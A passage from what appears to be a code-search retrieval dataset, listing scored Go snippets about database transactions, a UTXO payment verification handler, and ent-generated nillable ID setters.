inputs.\",\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\toutputs := transaction.Outputs\n\t\tif len(outputs) == 0 {\n\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\"message\": \"There are no outputs.\",\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\ttx := db.Begin()\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\ttx.Rollback()\n\t\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\t\"message\": \"Transacton error. Rollback.\",\n\t\t\t\t})\n\t\t\t\treturn\n\t\t\t}\n\t\t}()\n\n\t\tinputAmount := 0\n\t\tfor _, input := range inputs {\n\t\t\tutxo := input.UTXO\n\t\t\tcount := 0\n\t\t\ttx.Where(\"address1 = ? AND address2 = ? AND previous_hash = ? AND output_index = ?\",\n\t\t\t\tutxo.Address1, utxo.Address2, utxo.PreviousHash, utxo.Index).\n\t\t\t\tFirst(&utxo).Count(&count)\n\t\t\tif count == 0 {\n\t\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\t\"message\": \"Input is not valid.\",\n\t\t\t\t})\n\t\t\t\ttx.Rollback()\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif utxo.Used {\n\t\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\t\"message\": \"UTXO is used.\",\n\t\t\t\t})\n\t\t\t\ttx.Rollback()\n\t\t\t\treturn\n\t\t\t}\n\t\t\t/* When choosing to delete records of outputs\n\t\t\twhich have already been used. */\n\t\t\t// count := 0\n\t\t\t// db.First(&utxo).Count(&count)\n\t\t\t// if count == 0 {\n\t\t\t// \tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t// \t\t\"message\": \"There are no valid UTXOs.\",\n\t\t\t// \t})\n\t\t\t// \treturn\n\t\t\t// }\n\n\t\t\tif !utils.UnlockUTXO(utxo, input.Signature1, input.Signature2) {\n\t\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\t\"message\": \"Could not unlock UTXO.\",\n\t\t\t\t})\n\t\t\t\ttx.Rollback()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Update gorm.Model of Siblings\n\t\t\ttx.Where(\"id <> ? AND previous_hash = ?\", utxo.ID, utxo.PreviousHash).\n\t\t\t\tFind(&input.Siblings)\n\t\t\tif !utils.VerifyUTXO(utxo, input.Siblings) {\n\t\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\t\"message\": \"One of signatures of servers is not valid.\",\n\t\t\t\t})\n\t\t\t\ttx.Rollback()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tinputAmount += utxo.Amount\n\t\t}\n\n\t\toutputAmount := 0\n\t\tfor _, output := range outputs {\n\t\t\toutputAmount += output.Amount\n\t\t}\n\n\t\tif inputAmount != outputAmount {\n\t\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\t\"message\": \"Amount of inputs is different from amount of outputs.\",\n\t\t\t})\n\t\t\ttx.Rollback()\n\t\t\treturn\n\t\t}\n\n\t\tfor i, input := range inputs {\n\t\t\tutxo := input.UTXO\n\t\t\t// db.Model(&utxo).Where(\"address1 = ? AND address2 = ? AND previous_hash = ?\",\n\t\t\t// \tutxo.Address1, utxo.Address2, utxo.PreviousHash).Update(\"used\", true)\n\t\t\t// db.Unscoped().Delete(&utxo)\n\n\t\t\ttx.Where(\"address1 = ? AND address2 = ? AND previous_hash = ? AND output_index = ?\",\n\t\t\t\tutxo.Address1, utxo.Address2, utxo.PreviousHash, utxo.Index).\n\t\t\t\tFirst(&utxo).Update(\"used\", true)\n\t\t\ttransaction.Inputs[i].UTXO = utxo\n\t\t}\n\t\ttx.Commit()\n\n\t\t// Add records of outputs\n\t\tfor i, output := range outputs {\n\t\t\tdb.Create(&output)\n\t\t\ttransaction.Outputs[i] = output\n\t\t}\n\n\t\tr, s := utils.CreateSignature(transaction)\n\t\tsimpleTx := utils.ConvertTransaction(transaction)\n\n\t\tkey := config.GetKey()\n\t\tc.JSON(http.StatusCreated, gin.H{\n\t\t\t\"message\": \"Verified this transaction.\",\n\t\t\t\"transaction\": simpleTx,\n\t\t\t\"address1\": (&key.PublicKey).X.String(),\n\t\t\t\"address2\": (&key.PublicKey).Y.String(),\n\t\t\t\"signature1\": r,\n\t\t\t\"signature2\": s,\n\t\t})\n\t}\n}", "title": "" }, { "docid": "57d29cf667d8c02ae53987ef119a0ae9", "score": "0.4311747", "text": "func (repository *ShipmentRepositoryMock) WithTransaction(txn *gorm.DB) repositories.IShipmentRepository {\n\tif txn == nil {\n\t\tpanic(\"nil transaction\")\n\t}\n\n\treturn repository\n}", "title": "" }, { "docid": "c35f6be1ecaa02340d2bd3cbab75681a", "score": "0.43048915", "text": "func (o *CommitOutputPortTransactionParams) WithContext(ctx context.Context) *CommitOutputPortTransactionParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "de23a467578fe3736b38ceea0965b3aa", "score": "0.42926803", "text": "func WithContext(f func(context.Context)) {\n\tctx, cancel := newContext()\n\tdefer cancel()\n\tf(ctx)\n}", "title": "" }, { "docid": "0db53fec32a9fe6180c7bfb07aacd219", "score": "0.42852372", "text": "func (t *jaegerTracer) FromCtxf(ctx context.Context, format string, args ...interface{}) (opentracing.Span, context.Context) {\n\treturn t.FromCtx(ctx, fmt.Sprintf(format, args...))\n}", "title": "" }, { "docid": "1b535dec92084277631a12cd9d0c3e19", "score": "0.4284055", "text": "func (w *Wallet) GetTransactionsWithFilter(directionFilter string, statusFilter string) ([]*types.Transaction, error) {\n\treturn w.storage.GetTransactionsWithFilter(directionFilter, statusFilter)\n}", "title": "" }, { "docid": "c764abf5ec7ae5e484d600d3d544a4d3", "score": "0.4274599", "text": "func WithPayloadInstrumentation() Option {\n\treturn func(t *Transport) {\n\t\tt.PayloadInstrumentation = true\n\t}\n}", "title": "" }, { "docid": "f98be93aca0260d874f35cce4ada47e5", "score": "0.42701304", "text": "func Transaction(next http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\tdatabase := sql.Database.Begin()\n\t\tcontext.SetDatabase(r, database)\n\t\tnext.ServeHTTP(w, r)\n\n\t\tif rvr := recover(); rvr != nil && rvr != http.ErrAbortHandler {\n\t\t\t_ = database.Rollback()\n\n\t\t\tlogEntry := middleware.GetLogEntry(r)\n\t\t\tif logEntry != nil {\n\t\t\t\tlogEntry.Panic(rvr, debug.Stack())\n\t\t\t} else {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"Panic: %+v\\n\", rvr)\n\t\t\t\tdebug.PrintStack()\n\t\t\t}\n\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t}\n\n\t\tif context.GetErrMsg(r) != \"\" || database.Commit().Error != nil {\n\t\t\t_ = database.Rollback()\n\t\t}\n\t}\n\n\treturn http.HandlerFunc(fn)\n}", "title": "" }, { "docid": "6f17c9e5fdef0c9e575ea5e3ddb537ae", "score": "0.42657465", "text": "func (c *Client) ReadWriteTransaction(ctx context.Context, f func(context.Context, *ReadWriteTransaction) error) (commitTimestamp time.Time, err error) {\n\tctx = trace.StartSpan(ctx, \"cloud.google.com/go/spanner.ReadWriteTransaction\")\n\tdefer func() { trace.EndSpan(ctx, err) }()\n\tresp, err := c.rwTransaction(ctx, f, TransactionOptions{})\n\treturn resp.CommitTs, err\n}", "title": "" }, { "docid": "3a9ea6e7ba1cc0b5b1b20259fd30fe57", "score": "0.42587233", "text": "func TestTransaction(t *testing.T) {\n\tt.Run(\"rollback\", func(t *testing.T) {\n\t\ttransactionRollback(t)\n\t})\n\tt.Run(\"commit\", func(t *testing.T) {\n\t\ttransactionCommit(t)\n\t})\n}", "title": "" }, { "docid": "7cc09d89cfc71e97c6cf7bdd97ebed4b", "score": "0.42573398", "text": "func TransactionWithClient(ctx context.Context, client *mongo.Client, f TransactionFunc) error {\n\tsession, err := client.StartSession() //start session need to get options.\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer session.EndSession(ctx)\n\n\tif err = session.StartTransaction(); err != nil { // startTransaction need to get options.\n\t\treturn err\n\t}\n\n\twrapperFn := func(sc mongo.SessionContext) error {\n\t\treturn f(session, sc)\n\t}\n\n\treturn mongo.WithSession(ctx, session, wrapperFn)\n}", "title": "" }, { "docid": "8f2acc49e9f11cedffd69cd70d9c0357", "score": "0.42482474", "text": "func (_SfcTokenizer *SfcTokenizerRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _SfcTokenizer.Contract.SfcTokenizerTransactor.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "2996eaa90cfdaa19ab9d8c9ba503ec3c", "score": "0.42445287", "text": "func (m *StorageMock) WithTransactionAfterCounter() uint64 {\n\treturn atomic.LoadUint64(&m.afterWithTransactionCounter)\n}", "title": "" }, { "docid": "d6ee63bb89ebc7ff0adf5c07349d99da", "score": "0.42424187", "text": "func RunWithinTransaction(rlog log.Ext1FieldLogger, tx *sqlx.Tx, fn func(*sqlx.Tx) error) error {\n\treturn db.RunWithinTransaction(rlog, tx, fn)\n}", "title": "" }, { "docid": "ed2e6125281bd6b9cbb8a953d4e3a85a", "score": "0.42399803", "text": "func (_SfcTokenizer *SfcTokenizerTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _SfcTokenizer.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "2372e9ab5f11f152c1edf9c343c4af73", "score": "0.42265847", "text": "func (s *Server) tx(f func(tx *sqlx.Tx) error) (err error) {\n\ttx, err := s.db.Beginx()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err2 := recover(); err2 != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\tpanic(err2)\n\t\t}\n\t\tif err != nil {\n\t\t\t_ = tx.Rollback()\n\t\t\treturn\n\t\t}\n\t\terr = tx.Commit()\n\n\t}()\n\treturn f(tx)\n}", "title": "" }, { "docid": "c7a511116c4fbc3cae6ecac3ef387a9e", "score": "0.42205572", "text": "func withOutboundTransactionID(id int) outboundtransactionOption {\n\treturn func(m *OutboundTransactionMutation) {\n\t\tvar (\n\t\t\terr error\n\t\t\tonce sync.Once\n\t\t\tvalue *OutboundTransaction\n\t\t)\n\t\tm.oldValue = func(ctx context.Context) (*OutboundTransaction, error) {\n\t\t\tonce.Do(func() {\n\t\t\t\tif m.done {\n\t\t\t\t\terr = fmt.Errorf(\"querying old values post mutation is not allowed\")\n\t\t\t\t} else {\n\t\t\t\t\tvalue, err = m.Client().OutboundTransaction.Get(ctx, id)\n\t\t\t\t}\n\t\t\t})\n\t\t\treturn value, err\n\t\t}\n\t\tm.id = &id\n\t}\n}", "title": "" }, { "docid": "b85576a3ca549d23b47aca8b1a79e54b", "score": "0.42183656", "text": "func IndentWithOptions(s, p string, opt IndentOptions) string {\n\tb := &bytes.Buffer{}\n\t_, err := indent(s, p, opt, b)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(b.Bytes())\n}", "title": "" }, { "docid": "cf2fc763760d4b1aaf155c4a83d632d8", "score": "0.4212622", "text": "func WithContext(f func(ctx DBContext) error) error {\n\treturn f(DBContext{x})\n}", "title": "" } ]
96e6083126cb6a33931dc8e1f8321c7c
SetNillableTransactionID sets the "transaction" edge to the Transaction entity by ID if the given value is not nil.
[ { "docid": "d592e56f3218aaa414943d53120fda15", "score": "0.8142222", "text": "func (tdu *TransactionDetailUpdate) SetNillableTransactionID(id *uuid.UUID) *TransactionDetailUpdate {\n\tif id != nil {\n\t\ttdu = tdu.SetTransactionID(*id)\n\t}\n\treturn tdu\n}", "title": "" } ]
[ { "docid": "72196c921dfa707bece7a5b8aac689fc", "score": "0.82246304", "text": "func (tduo *TransactionDetailUpdateOne) SetNillableTransactionID(id *uuid.UUID) *TransactionDetailUpdateOne {\n\tif id != nil {\n\t\ttduo = tduo.SetTransactionID(*id)\n\t}\n\treturn tduo\n}", "title": "" }, { "docid": "8a1854dc73de2f8aba9d27094eb30904", "score": "0.72224236", "text": "func (tu *TransactionfactoritemUpdate) SetNillableTransactionFactorID(i *int) *TransactionfactoritemUpdate {\n\tif i != nil {\n\t\ttu.SetTransactionFactorID(*i)\n\t}\n\treturn tu\n}", "title": "" }, { "docid": "21614e67274b87b6a74d6a740cb5b23f", "score": "0.7180537", "text": "func (tuo *TransactionfactoritemUpdateOne) SetNillableTransactionFactorID(i *int) *TransactionfactoritemUpdateOne {\n\tif i != nil {\n\t\ttuo.SetTransactionFactorID(*i)\n\t}\n\treturn tuo\n}", "title": "" }, { "docid": "5a844f95d064ecbdbcec8a1ae5b40294", "score": "0.68615013", "text": "func (tc *TransactionCreate) SetNillableAccountID(id *uuid.UUID) *TransactionCreate {\n\tif id != nil {\n\t\ttc = tc.SetAccountID(*id)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "caa70ad9702e836d1c516c53734468ba", "score": "0.6505866", "text": "func (pc *PromotionCreate) SetNillablePromotionamountID(id *int) *PromotionCreate {\n\tif id != nil {\n\t\tpc = pc.SetPromotionamountID(*id)\n\t}\n\treturn pc\n}", "title": "" }, { "docid": "7d5c0357c128c3aac7e3adaca3050037", "score": "0.6278167", "text": "func (tdu *TransactionDetailUpdate) SetNillableAmount(i *int) *TransactionDetailUpdate {\n\tif i != nil {\n\t\ttdu.SetAmount(*i)\n\t}\n\treturn tdu\n}", "title": "" }, { "docid": "b8651c93b7a205a8e19ae149d91a9e84", "score": "0.62162626", "text": "func (tduo *TransactionDetailUpdateOne) SetNillableAmount(i *int) *TransactionDetailUpdateOne {\n\tif i != nil {\n\t\ttduo.SetAmount(*i)\n\t}\n\treturn tduo\n}", "title": "" }, { "docid": "15cf00d5a24d9ef32bb4c3fc10680b32", "score": "0.61819214", "text": "func (ru *RegisterstoreUpdate) SetNillableStoreID(id *int) *RegisterstoreUpdate {\n\tif id != nil {\n\t\tru = ru.SetStoreID(*id)\n\t}\n\treturn ru\n}", "title": "" }, { "docid": "69b48d86691d21f6b29b4dc242ce615d", "score": "0.61432916", "text": "func (ouo *OrderUpdateOne) SetNillableTransactionDate(t *time.Time) *OrderUpdateOne {\n\tif t != nil {\n\t\touo.SetTransactionDate(*t)\n\t}\n\treturn ouo\n}", "title": "" }, { "docid": "e8a4510f67a1c2635cdc9822b89c6b44", "score": "0.6118673", "text": "func (tu *TimerUpdate) SetNillableMandantid(s *string) *TimerUpdate {\n\tif s != nil {\n\t\ttu.SetMandantid(*s)\n\t}\n\treturn tu\n}", "title": "" }, { "docid": "e72896af8bc8734d2733604763c72072", "score": "0.61040556", "text": "func (luo *LinkUpdateOne) SetNillableWorkOrderID(id *int) *LinkUpdateOne {\n\tif id != nil {\n\t\tluo = luo.SetWorkOrderID(*id)\n\t}\n\treturn luo\n}", "title": "" }, { "docid": "65aaa4d716a456edfca6581a086e6008", "score": "0.60974294", "text": "func (lu *LinkUpdate) SetNillableWorkOrderID(id *int) *LinkUpdate {\n\tif id != nil {\n\t\tlu = lu.SetWorkOrderID(*id)\n\t}\n\treturn lu\n}", "title": "" }, { "docid": "c9dd1b54f61b23cccd3df94ac1d910e2", "score": "0.6087627", "text": "func (ou *OrderUpdate) SetNillableTransactionDate(t *time.Time) *OrderUpdate {\n\tif t != nil {\n\t\tou.SetTransactionDate(*t)\n\t}\n\treturn ou\n}", "title": "" }, { "docid": "35974efd9d039df4f62cc2d9b5512c71", "score": "0.6082935", "text": "func (ruo *RegisterstoreUpdateOne) SetNillableStoreID(id *int) *RegisterstoreUpdateOne {\n\tif id != nil {\n\t\truo = ruo.SetStoreID(*id)\n\t}\n\treturn ruo\n}", "title": "" }, { "docid": "47812aa3075e45b683d3d0a3b8ec1eb1", "score": "0.60713273", "text": "func (tuo *TimerUpdateOne) SetNillableMandantid(s *string) *TimerUpdateOne {\n\tif s != nil {\n\t\ttuo.SetMandantid(*s)\n\t}\n\treturn tuo\n}", "title": "" }, { "docid": "7c4ccba4f568397c6cf74f7741c75464", "score": "0.6067518", "text": "func (smac *SysMenuActionCreate) SetNillableID(s *string) *SysMenuActionCreate {\n\tif s != nil {\n\t\tsmac.SetID(*s)\n\t}\n\treturn smac\n}", "title": "" }, { "docid": "411afb691455318833323fb16019aebc", "score": "0.6063185", "text": "func (cc *ConnectivityCreate) SetNillableEventID(id *uuid.UUID) *ConnectivityCreate {\n\tif id != nil {\n\t\tcc = cc.SetEventID(*id)\n\t}\n\treturn cc\n}", "title": "" }, { "docid": "23c2763b57693c360a30b14b396d7a7c", "score": "0.6017454", "text": "func (pc *PromotionCreate) SetNillablePromotiontypeID(id *int) *PromotionCreate {\n\tif id != nil {\n\t\tpc = pc.SetPromotiontypeID(*id)\n\t}\n\treturn pc\n}", "title": "" }, { "docid": "4e3138b37769c21167d337455c6341ad", "score": "0.6002444", "text": "func (ec *EquipmentCreate) SetNillableWorkOrderID(id *int) *EquipmentCreate {\n\tif id != nil {\n\t\tec = ec.SetWorkOrderID(*id)\n\t}\n\treturn ec\n}", "title": "" }, { "docid": "b4e5426bfa4c805f7dbcc57575cdb55a", "score": "0.5983171", "text": "func (wu *WorkflowUpdate) SetNillableInodeID(id *uuid.UUID) *WorkflowUpdate {\n\tif id != nil {\n\t\twu = wu.SetInodeID(*id)\n\t}\n\treturn wu\n}", "title": "" }, { "docid": "ca01866366f8f77a158d2a8e0c35fc27", "score": "0.5971608", "text": "func (nu *NodeUpdate) SetNillableOwnerID(id *uint) *NodeUpdate {\n\tif id != nil {\n\t\tnu = nu.SetOwnerID(*id)\n\t}\n\treturn nu\n}", "title": "" }, { "docid": "47b3809ae8c8930f6dbd6b08390fb472", "score": "0.597013", "text": "func (cu *CustomerUpdate) SetNillableAddressID(id *int) *CustomerUpdate {\n\tif id != nil {\n\t\tcu = cu.SetAddressID(*id)\n\t}\n\treturn cu\n}", "title": "" }, { "docid": "ca3333bb89003d4503c2840c78063ac1", "score": "0.59700376", "text": "func (nu *NodeUpdate) SetNillableParentID(id *int) *NodeUpdate {\n\tif id != nil {\n\t\tnu = nu.SetParentID(*id)\n\t}\n\treturn nu\n}", "title": "" }, { "docid": "dbc9a8309cb021cb2272a05f70fd3151", "score": "0.59446645", "text": "func (s *session) setTransactionID(tx transactionID) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\ts.tx = tx\n}", "title": "" }, { "docid": "801271d3f12de9315b6afc93069a2f3b", "score": "0.5939123", "text": "func (reu *RawEventUpdate) SetNillableSessionID(s *string) *RawEventUpdate {\n\tif s != nil {\n\t\treu.SetSessionID(*s)\n\t}\n\treturn reu\n}", "title": "" }, { "docid": "92cf80b760cafe2b4829805b11d8d76a", "score": "0.5911849", "text": "func (reuo *RawEventUpdateOne) SetNillableSessionID(s *string) *RawEventUpdateOne {\n\tif s != nil {\n\t\treuo.SetSessionID(*s)\n\t}\n\treturn reuo\n}", "title": "" }, { "docid": "6cfdb3001e985c1d3d6ddc9d990992e4", "score": "0.5890962", "text": "func (wuo *WorkflowUpdateOne) SetNillableInodeID(id *uuid.UUID) *WorkflowUpdateOne {\n\tif id != nil {\n\t\twuo = wuo.SetInodeID(*id)\n\t}\n\treturn wuo\n}", "title": "" }, { "docid": "f972100ade7b8f91c1d2dbb9c51c3f23", "score": "0.5887789", "text": "func (au *ArticleUpdate) SetNillableCityID(i *int64) *ArticleUpdate {\n\tif i != nil {\n\t\tau.SetCityID(*i)\n\t}\n\treturn au\n}", "title": "" }, { "docid": "85e5a2d78eae3ccf526b0fd33ea96085", "score": "0.5879924", "text": "func (cc *ClubCreate) SetNillableActivityID(id *int) *ClubCreate {\n\tif id != nil {\n\t\tcc = cc.SetActivityID(*id)\n\t}\n\treturn cc\n}", "title": "" }, { "docid": "754cc7a97e5910927341061c80ebd806", "score": "0.5853407", "text": "func (suc *SysUserCreate) SetNillableID(s *string) *SysUserCreate {\n\tif s != nil {\n\t\tsuc.SetID(*s)\n\t}\n\treturn suc\n}", "title": "" }, { "docid": "ae95b68d9f0e2e4de3e7efee21fdfdbb", "score": "0.5848362", "text": "func (mu *MetaUpdate) SetNillableOwnerID(id *int) *MetaUpdate {\n\tif id != nil {\n\t\tmu = mu.SetOwnerID(*id)\n\t}\n\treturn mu\n}", "title": "" }, { "docid": "258e352aebd11363592110a016764a50", "score": "0.5847506", "text": "func (nuo *NodeUpdateOne) SetNillableOwnerID(id *uint) *NodeUpdateOne {\n\tif id != nil {\n\t\tnuo = nuo.SetOwnerID(*id)\n\t}\n\treturn nuo\n}", "title": "" }, { "docid": "cae01728687f46e729d215c2f2118a4e", "score": "0.58465207", "text": "func (tu *ToolUpdate) SetNillableCategoryID(id *int) *ToolUpdate {\n\tif id != nil {\n\t\ttu = tu.SetCategoryID(*id)\n\t}\n\treturn tu\n}", "title": "" }, { "docid": "e3053817a3b1b4bda0c362090ee4726d", "score": "0.58365643", "text": "func (tc *TicketCreate) SetNillableParentID(id *int) *TicketCreate {\n\tif id != nil {\n\t\ttc = tc.SetParentID(*id)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "57b6e7a9b930b0011fd1a0a9128d2684", "score": "0.5835323", "text": "func (oic *OrderInfoCreate) SetNillableCustomerID(id *int) *OrderInfoCreate {\n\tif id != nil {\n\t\toic = oic.SetCustomerID(*id)\n\t}\n\treturn oic\n}", "title": "" }, { "docid": "a16cc6c06de4405b762cd678dd1c5d2c", "score": "0.5830677", "text": "func (cac *CustomerAddressCreate) SetNillableCustomerID(id *int) *CustomerAddressCreate {\n\tif id != nil {\n\t\tcac = cac.SetCustomerID(*id)\n\t}\n\treturn cac\n}", "title": "" }, { "docid": "1a0403488a294732c1863f4cc883feb3", "score": "0.5830067", "text": "func (nuo *NodeUpdateOne) SetNillableParentID(id *int) *NodeUpdateOne {\n\tif id != nil {\n\t\tnuo = nuo.SetParentID(*id)\n\t}\n\treturn nuo\n}", "title": "" }, { "docid": "3386bf6b72c95e9fd751e9c311a128da", "score": "0.58282137", "text": "func (clic *CheckListItemCreate) SetNillableWorkOrderID(id *string) *CheckListItemCreate {\n\tif id != nil {\n\t\tclic = clic.SetWorkOrderID(*id)\n\t}\n\treturn clic\n}", "title": "" }, { "docid": "591abb124647dfaca11402717813446f", "score": "0.58250463", "text": "func (mc *MemberCreate) SetNillablePositionID(id *int) *MemberCreate {\n\tif id != nil {\n\t\tmc = mc.SetPositionID(*id)\n\t}\n\treturn mc\n}", "title": "" }, { "docid": "aebf1cbf418c0f00adf7cc22a21bb362", "score": "0.5809012", "text": "func (cuo *CustomerUpdateOne) SetNillableAddressID(id *int) *CustomerUpdateOne {\n\tif id != nil {\n\t\tcuo = cuo.SetAddressID(*id)\n\t}\n\treturn cuo\n}", "title": "" }, { "docid": "b89663b63ee8156b00c0310ce5ae9f7d", "score": "0.5803739", "text": "func (auo *ArticleUpdateOne) SetNillableCityID(i *int64) *ArticleUpdateOne {\n\tif i != nil {\n\t\tauo.SetCityID(*i)\n\t}\n\treturn auo\n}", "title": "" }, { "docid": "3a00ae0b046633e5fde496cca96dcd79", "score": "0.5794435", "text": "func (pu *PrescriptionUpdate) SetNillableSystemmemberID(id *int) *PrescriptionUpdate {\n\tif id != nil {\n\t\tpu = pu.SetSystemmemberID(*id)\n\t}\n\treturn pu\n}", "title": "" }, { "docid": "69af491c1af25339ecaca607842679bb", "score": "0.5792076", "text": "func (slc *SysLoggingCreate) SetNillableID(s *string) *SysLoggingCreate {\n\tif s != nil {\n\t\tslc.SetID(*s)\n\t}\n\treturn slc\n}", "title": "" }, { "docid": "4d02a10270915d670ab43cdd77329871", "score": "0.57861906", "text": "func (sc *StepCreate) SetNillableTemplateID(id *string) *StepCreate {\n\tif id != nil {\n\t\tsc = sc.SetTemplateID(*id)\n\t}\n\treturn sc\n}", "title": "" }, { "docid": "25d1ef8de6db5fde7aa9554832aa5e71", "score": "0.578321", "text": "func (tc *TicketCreate) SetNillableProjectID(id *int) *TicketCreate {\n\tif id != nil {\n\t\ttc = tc.SetProjectID(*id)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "6e5658c8704947646fe5ac0eb8331f2a", "score": "0.5780828", "text": "func (su *SettlementUpdate) SetNillableHarborID(id *int) *SettlementUpdate {\n\tif id != nil {\n\t\tsu = su.SetHarborID(*id)\n\t}\n\treturn su\n}", "title": "" }, { "docid": "947e9a1f6b9963a94a65f65744ca28f5", "score": "0.5779726", "text": "func (au *AlertUpdate) SetNillableOwnerID(id *int) *AlertUpdate {\n\tif id != nil {\n\t\tau = au.SetOwnerID(*id)\n\t}\n\treturn au\n}", "title": "" }, { "docid": "ec0df9547eca31c95edcc31b019524c9", "score": "0.57740796", "text": "func (oc *OfficerCreate) SetNillablePositionID(id *int) *OfficerCreate {\n\tif id != nil {\n\t\toc = oc.SetPositionID(*id)\n\t}\n\treturn oc\n}", "title": "" }, { "docid": "2335037cbfa1fb46d3de8ba107a3ce11", "score": "0.5768273", "text": "func (tc *TransactionCreate) SetNillableOriginatingAmount(f *float64) *TransactionCreate {\n\tif f != nil {\n\t\ttc.SetOriginatingAmount(*f)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "063c7a5942682be625dcefb5951f2eef", "score": "0.5759058", "text": "func (rc *RepairinvoiceCreate) SetNillableRentalstatusID(id *int) *RepairinvoiceCreate {\n\tif id != nil {\n\t\trc = rc.SetRentalstatusID(*id)\n\t}\n\treturn rc\n}", "title": "" }, { "docid": "ed15492bb9c67f2aafd08ee32cb3b80d", "score": "0.57575923", "text": "func (du *DentalappointmentUpdate) SetNillablePersonnelID(id *int) *DentalappointmentUpdate {\n\tif id != nil {\n\t\tdu = du.SetPersonnelID(*id)\n\t}\n\treturn du\n}", "title": "" }, { "docid": "c58e675dab5106fcd37f9b6878f7d90b", "score": "0.5750823", "text": "func (oec *OtherEventCreate) SetNillableParentID(id *int) *OtherEventCreate {\n\tif id != nil {\n\t\toec = oec.SetParentID(*id)\n\t}\n\treturn oec\n}", "title": "" }, { "docid": "dad09eca6e186b6e433e6c3996ae58a0", "score": "0.5730405", "text": "func (muo *MetaUpdateOne) SetNillableOwnerID(id *int) *MetaUpdateOne {\n\tif id != nil {\n\t\tmuo = muo.SetOwnerID(*id)\n\t}\n\treturn muo\n}", "title": "" }, { "docid": "2ff4b7ddf7b6ef913de1207d72a94c35", "score": "0.5729298", "text": "func (mc *MedicalfileCreate) SetNillableDentistID(id *int) *MedicalfileCreate {\n\tif id != nil {\n\t\tmc = mc.SetDentistID(*id)\n\t}\n\treturn mc\n}", "title": "" }, { "docid": "def93b9cf6205781b5b31c4906aac20e", "score": "0.5721853", "text": "func (o *InlineObject746) SetSettlementExplicitNull(b bool) {\n\to.Settlement = nil\n\to.isExplicitNullSettlement = b\n}", "title": "" }, { "docid": "be3fb6b62b21535177bedeb8d9ec65b5", "score": "0.5721095", "text": "func (dmu *DeathMannerUpdate) SetNillableMetadataID(id *int) *DeathMannerUpdate {\n\tif id != nil {\n\t\tdmu = dmu.SetMetadataID(*id)\n\t}\n\treturn dmu\n}", "title": "" }, { "docid": "ccefdb0587a6cd80d06dda5281391c5e", "score": "0.57193696", "text": "func (tuo *ToolUpdateOne) SetNillableCategoryID(id *int) *ToolUpdateOne {\n\tif id != nil {\n\t\ttuo = tuo.SetCategoryID(*id)\n\t}\n\treturn tuo\n}", "title": "" }, { "docid": "fe8a86c1a7495685b84a3807a809844a", "score": "0.57192427", "text": "func (tc *TransactionCreate) SetNillableLatitude(f *float64) *TransactionCreate {\n\tif f != nil {\n\t\ttc.SetLatitude(*f)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "5ed0df7172b7781ed00510acde4f6864", "score": "0.5702429", "text": "func (fc *FoodmenuCreate) SetNillableOwnerID(id *int) *FoodmenuCreate {\n\tif id != nil {\n\t\tfc = fc.SetOwnerID(*id)\n\t}\n\treturn fc\n}", "title": "" }, { "docid": "574ed75c0476416c86090edeaf4e2543", "score": "0.5697477", "text": "func (puo *PrescriptionUpdateOne) SetNillableSystemmemberID(id *int) *PrescriptionUpdateOne {\n\tif id != nil {\n\t\tpuo = puo.SetSystemmemberID(*id)\n\t}\n\treturn puo\n}", "title": "" }, { "docid": "f9ecd93b2fc3e8900d3565c47e15a075", "score": "0.5688972", "text": "func (euo *EthnicityUpdateOne) SetNillableMetadataID(id *int) *EthnicityUpdateOne {\n\tif id != nil {\n\t\teuo = euo.SetMetadataID(*id)\n\t}\n\treturn euo\n}", "title": "" }, { "docid": "84340874d6a727baf51ba736ce65418b", "score": "0.5686026", "text": "func (eu *EthnicityUpdate) SetNillableMetadataID(id *int) *EthnicityUpdate {\n\tif id != nil {\n\t\teu = eu.SetMetadataID(*id)\n\t}\n\treturn eu\n}", "title": "" }, { "docid": "8099d3d6a40c4da9e8c1ace89c3c67d9", "score": "0.56837374", "text": "func (sc *SampleCreate) SetNillableID(s *string) *SampleCreate {\n\tif s != nil {\n\t\tsc.SetID(*s)\n\t}\n\treturn sc\n}", "title": "" }, { "docid": "64324b0bfeac6bbf4d1bea5149df4038", "score": "0.5679882", "text": "func (o *InlineObject747) SetSettlementExplicitNull(b bool) {\n\to.Settlement = nil\n\to.isExplicitNullSettlement = b\n}", "title": "" }, { "docid": "e2ec7ea1bca6910cee6b69f6842c58fd", "score": "0.56748545", "text": "func (dc *DocCreate) SetNillableID(si *schema.DocID) *DocCreate {\n\tif si != nil {\n\t\tdc.SetID(*si)\n\t}\n\treturn dc\n}", "title": "" }, { "docid": "e2ec7ea1bca6910cee6b69f6842c58fd", "score": "0.56748545", "text": "func (dc *DocCreate) SetNillableID(si *schema.DocID) *DocCreate 